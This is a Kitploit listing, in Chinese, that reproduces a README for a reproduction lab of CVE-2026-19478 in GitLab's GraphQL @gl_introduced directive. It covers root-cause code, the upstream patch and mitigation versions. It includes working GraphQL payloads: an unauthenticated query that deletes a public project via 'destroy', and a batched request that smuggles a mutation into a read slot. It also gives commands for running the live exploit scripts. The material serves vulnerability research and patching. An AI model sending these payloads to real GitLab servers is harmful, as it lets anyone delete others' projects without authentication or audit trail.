Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-19478 — 提供针对两个 GitLab GraphQL `@gl_introduced` 指令漏洞的 PoC 利用程序和根因分析:未认证方法执行与批量文档交换,并附上游补丁和实时证据。 | Kitploit
工具/GitHubGitHub/n0xdaemon/cve-2026-19478
漏洞分析漏洞利用Web应用程序漏洞利用API安全测试Web安全
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

提供针对两个 GitLab GraphQL `@gl_introduced` 指令漏洞的 PoC 利用程序和根因分析:未认证方法执行与批量文档交换,并附上游补丁和实时证据。

查看仓库
3天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-19478——GitLab GraphQL @gl_introduced 版本过滤器漏洞

一个复现实验室,用于复现 GitLab GraphQL 版本过滤器功能(@gl_introduced 指令)中的两个相关漏洞。这两个漏洞位于同一功能区域,由同一个上游补丁修复,且都允许 GraphQL 请求进入其从未声明的代码路径:

  • 回退字段方法执行(Fallback-field method execution)——单个未认证、非批量的 查询即可在任意 GraphQL 类型背后的模型上调用任意零参数方法(例如 destroy), 只需命名一个不存在的字段并为其标记 @gl_introduced。
  • 跨操作文档交换(Cross-operation document swap)——在批量(multiplex) 请求中,一个操作已解析的查询文档可以被替换为另一个操作的文档,从而使声明了 无害读取的槽位最终执行了另一个槽位的 mutation。

仓库结构

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

src/ 下的所有内容均为上游源码原样保留,绝无重新实现——加载器会将 src/vuln 或 src/patched 叠加在 src/common 之上。


1. 根本原因

1a. 回退字段 → graphql-ruby 的默认方法解析

Gitlab::Graphql::VersionFilter::FutureFieldFallback 允许查询引用某个类型上尚不 存在的字段而不导致请求失败——这是为滚动部署设计的:在滚动部署中,旧节点的 schema 尚未包含新节点已经提供的字段。它的 get_field 重写会检查所请求的字段是否缺失 并且请求被标记为 contain_future_fields,如果是,则返回一个合成字段而不是抛 出异常:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

问题在于:这个 GraphQL::Schema::Field 在构建时没有 resolver 方法、没有 resolver 类、也没有 block。随后应用的是 graphql-ruby 自身的默认字段解析逻辑(graphql gem 2.6.3,lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym 是字段名经过下划线转换后的形式——也就是攻击者在查询中放入的字符串。 如果 GraphQL 类型背后的对象(ActiveRecord 模型)恰好有一个同名的真实零参数公共方 法,graphql-ruby 就会调用它并返回其(类型强转后的)结果。fallback_value: nil 仅 在方法确实不存在时生效——它无法阻止真实方法被调用。

因此:对任意类型查询一个以真实破坏性方法命名的字段——例如 destroy——并为其标记 @gl_introduced 使其能存活到执行阶段,该方法就会被执行。

1b. 跨操作文档交换

IntroducedTracer 通过两个 graphql-ruby 跟踪钩子实现版本过滤器功能的其余部分—— parse(每个操作一次)和 execute_query(每个操作一次)。在易受攻击的构建版本 中,它把每个操作的状态存放在跟踪对象的普通实例变量中:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

问题在于:graphql-ruby 在 multiplex 请求的每个操作之间共享同一个跟踪实例,并且 会在执行任何操作之前先解析所有操作。 因此在一个双操作批量请求中:

  1. parse(op1) → @original_query_document = op1_doc,@contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc,@contain_future_fields = true (op2 携带一个 @gl_introduced 未来字段)

解析完成后,只有最后一个操作的状态得以保留。随后进入执行阶段:

  1. execute_query(op1) → 标志为 true,因此 op1 的文档被 op2_doc 覆盖并重新 准备 → op1 的槽位执行了 op2 的操作。

op1 声明的是读取,执行的却是 op2 的写入。

修复方案

patch-19.2.2-to-19.2.4.diff 同时修复了这两个问题:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. 利用流程

2a. 回退字段——单请求、无认证、无批量

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

无需 Authorization 头。单个操作,无批量。destroy 不是 Project 上的真实字段 ——它在 schema 中根本不存在——但该指令使 FutureFieldFilter 在静态校验之前将其剥 离,并使 contain_future_fields 在执行阶段生效。此时 get_field 返回一个名为 destroy 且没有 resolver 的字段,graphql-ruby 便会调用 project.public_send(:destroy)。

已在真实环境验证(evidence/live_vuln_fallback_field.txt,对三个独立的临时项目各 复现一次):对公共项目发送后,响应为 {"data":{"project":{"id":"...","destroy":true}}}。 随后通过已认证的 REST 检查(GET /api/v4/projects/:id)返回 404——项目确实已被 删除。该调用的请求日志显示 9 次同步数据库写入和 0 条新增 AuditEvent 记录:该调用 完全绕过了 Projects::DestroyService(连同审计跟踪、webhook 和通知)——这是通过 GraphQL 默认字段解析直接调用的原始 ActiveRecord#destroy 级联。

2b. 跨操作文档交换——需要批量请求

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Op2 载荷——@gl_introduced 指令只需放在一个真实字段上,以便在解析时使 FutureFieldFilter 翻转 contain_future_fields 并启用交换:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

已在真实环境验证(evidence/live_vuln.txt):声明了 query { currentUser { username } } 的槽位 1 返回 {"data":{"starProject":{"count":"0"}}},该项目的星标数从 1 → 0。


3. 运行 PoC

PoC #1——真实环境 HTTP 利用,回退字段方法执行

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

该脚本通过已认证的 REST API 创建一个临时公共项目(仅用于准备阶段),发送一条未认 证的 GraphQL 查询,查询中包含一个标记了 @gl_introduced 的 destroy 字段,然后 通过已认证的 REST 重新检查该项目。如果项目已被删除,则判定为 VULNERABLE。

PoC #2——真实环境 HTTP 利用,跨操作文档交换

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

该脚本读取星标状态的基线,发送双操作批量请求,如果声明为读取的槽位 1 返回了 starProject 载荷(且/或星标数发生变化),则判定为 VULNERABLE。

PoC #3——独立根因复现,文档交换(无需 GitLab)

在一个极简的 graphql-ruby 应用中隔离 Gitlab::Graphql::VersionFilter,从而在没有任 何 GitLab 干扰的情况下直观看到交换过程。加载的是真实的上游源码。

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. 影响

两种攻击向量都已在真实环境中针对 gitlab/gitlab-ce:19.2.2-ce.0 得到确认。由于它 们触及 GitLab 技术栈的不同层次,因此具有不同的授权暴露面。

回退字段(1a):已确认无需认证且具有破坏性

无需令牌、无需批量,仅一条查询。响应直接返回方法的执行结果("destroy": true), 底层记录确实被销毁——已通过已认证的 REST(404)以及服务器端证据(0 条 AuditEvent 记录、单请求内 9 次同步写入)确认,这意味着它完全绕过了 GitLab 正常 的删除服务。已对三个独立的临时项目独立复现三次。任何其底层对象暴露了真实零参数破 坏性方法的 GraphQL 类型都是潜在目标。

跨操作交换(1b):已确认需认证;匿名时受门控限制

使用任何具有 api 权限范围的令牌,一个声明为读取的操作会执行一个它从未请求过 的写入(星标数 1 → 0,由 query 类型的槽位驱动)。无令牌发送时,交换仍然 会触发——读取槽位确实会到达并解析 starProject——但每个 GitLab mutation 都继承 自 Mutations::BaseMutation,其 self.authorized? 门控在执行时运行:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

匿名请求的 current_user 为 nil,GlobalPolicy 会执行 rule { anonymous }.policy { prevent :execute_graphql_mutation }。在无认证条件下扫 测了 10 种批量排列组合(操作顺序、指令位于字段/子字段/内联片段上、双操作与三操作 批量):被劫持的槽位每次都撞上门控,星标数从未发生变化。

该门控仅针对 mutation——它对于 1a 没有任何约束力,因为 1a 完全不涉及 Mutations::BaseMutation;回退字段作为普通的 query 类型字段直接对模型进行解析,整 个解析路径中没有任何授权检查。

为什么独立 PoC(#3)在 1b 上看起来无需认证

src/common/demo_app.rb 完全没有授权层——它的 mutation 只是执行写入。因此 PoC #3 在一个无认证的沙盒中演示了交换机制(读取槽位执行写入)。真实 GitLab 会强 制执行该演示所省略的 execute_graphql_mutation 门控——特别是针对 1b。在这个官方构 建版本上,仅通过 1b 无法在无凭据的情况下实现由 mutation 驱动的写入;但它可以通过 1a 实现,而 1a 完全不需要 mutation。


5. 缓解措施

升级到 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 或更高版本。该修复(参见 diff)做了两件 事:future_field_fallback.rb 为回退字段提供了显式 resolver(Resolvers::NilResolver, 始终返回 nil),不再依赖 graphql-ruby 的默认方法分发,从而修复了 1a; introduced_tracer.rb 将跟踪器的每操作状态限定到每个操作各自的文档,取代共享的实 例变量,从而修复了 1b。

下载工具
受影响版本
18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
修复版本18.11.11, 19.0.8, 19.1.6, 19.2.4
实验目标gitlab/gitlab-ce:19.2.2-ce.0(修复前最后一个构建版本)
触发条件GraphQL @gl_introduced 指令,单独使用或置于批量请求中